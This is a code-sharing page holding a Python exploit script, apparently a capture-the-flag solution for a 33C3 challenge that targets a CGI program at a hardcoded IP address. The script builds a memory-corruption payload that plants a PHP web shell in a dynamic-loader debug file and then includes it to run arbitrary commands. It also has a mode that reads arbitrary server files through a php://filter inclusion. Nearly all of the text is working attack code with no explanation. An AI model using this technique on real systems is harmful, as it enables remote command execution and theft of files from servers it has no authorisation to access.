Instantly share code, notes, and snippets.

Embed
What would you like to do?
from subprocess import Popen, PIPE
import base64
import random
import re
import requests
import select
import socket
import string
import struct
import sys
import urllib
value = 0x6012a0
host = '78.46.224.68'
port = 80
url = 'http://%s:%d' % (host, port)
def strcpys(s):
payloads = []
idx = 0
while s.find('\x00', idx) != -1:
i = s.find('\x00', idx)
payloads.append('A'*idx + s[idx:i])
idx = i+1
payloads.append('A'*idx + s[idx:])
return list(reversed(payloads))
def pack64(x):
return struct.pack("<Q", x)
def can_read(s, timeout=0):
x,_,_ = select.select([s], [], [], timeout)
return x != []
def make_qs():
cmd = '/bin/ps'
outfile = '/tmp/' + ''.join(random.choice(string.ascii_lowercase) for _ in range(10))
print "[*] Output file", outfile
nasty = 'A'*0x400
v1 = value + len(nasty)
nasty += 'LD_DEBUG=all\0'
null = value + len(nasty) - 1
v2 = value + len(nasty)
nasty += 'LD_DEBUG_OUTPUT=%s\0' % outfile
v3 = value + len(nasty)
nasty += 'LD_LIBRARY_PATH=<?=passthru($_GET[cmd])||exit()?>\0'
assert '&' not in nasty
assert len(cmd) < 0x10
uname = ''
uname += 'A'*(0x200-len(uname))
uname += cmd + '\0'
uname += 'B'*(0x220-len(uname))
# set *qs to zero, to terminate loop
uname += pack64(null)
uname += 'C'*248
# fix a crash in puts()/malloc()
uname += pack64(null)
uname += 'C'*(0x328-len(uname))
uname += pack64(v1)
uname += pack64(v2)
uname += pack64(v3)
uname += pack64(0)
qs = '&'.join('nasty=%s' % x for x in strcpys(nasty))
qs += '&nasty=no'
qs += '&username=%s' % urllib.quote(uname)
print "[*] Query string size =", len(qs)
return qs, outfile
def pwn(payload):
qs, outfile = make_qs()
req = (
"GET /cgi-bin/quote.cgi?{qs} HTTP/1.1\r\n"
"Host: {host}\r\n"
"Connection: close\r\n\r\n"
).format(url=url, host=host, qs=qs)
s = socket.create_connection((host, port))
s.sendall(req)
buf = ""
while can_read(s, timeout=2):
x = s.recv(1024)
if not x:
break
buf += x
pid = int(re.findall(r'(\d+).*ps\n', buf)[0])
print "[*] PID =", pid
r = requests.get(url + '/?action=%s.%d&cmd=%s' % (outfile, pid, urllib.quote(payload)))
return r.text
if sys.argv[1] == 'local':
with open("/tmp/qs", "w") as f:
f.write(qs)
elif sys.argv[1] == 'leak':
fname = sys.argv[2]
r = requests.get(url + '/?action=php://filter/convert.base64-encode/resource=%s' % fname)
sys.stdout.write(base64.b64decode(r.text.split('</ul>\n\n')[1]))
elif sys.argv[1] == 'pwn':
print pwn(sys.argv[2])
elif sys.argv[1] == 'test':
payload = 'echo -n __start__; /run_to_get_flag /flag; echo -n __end__'
res = pwn(payload)
flag = re.findall(r'__start__(.*?)__end__', res, re.DOTALL)[0].strip()
print "[*] Flag =", flag
assert '33C3_w00t' in flag
else:
assert 0
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment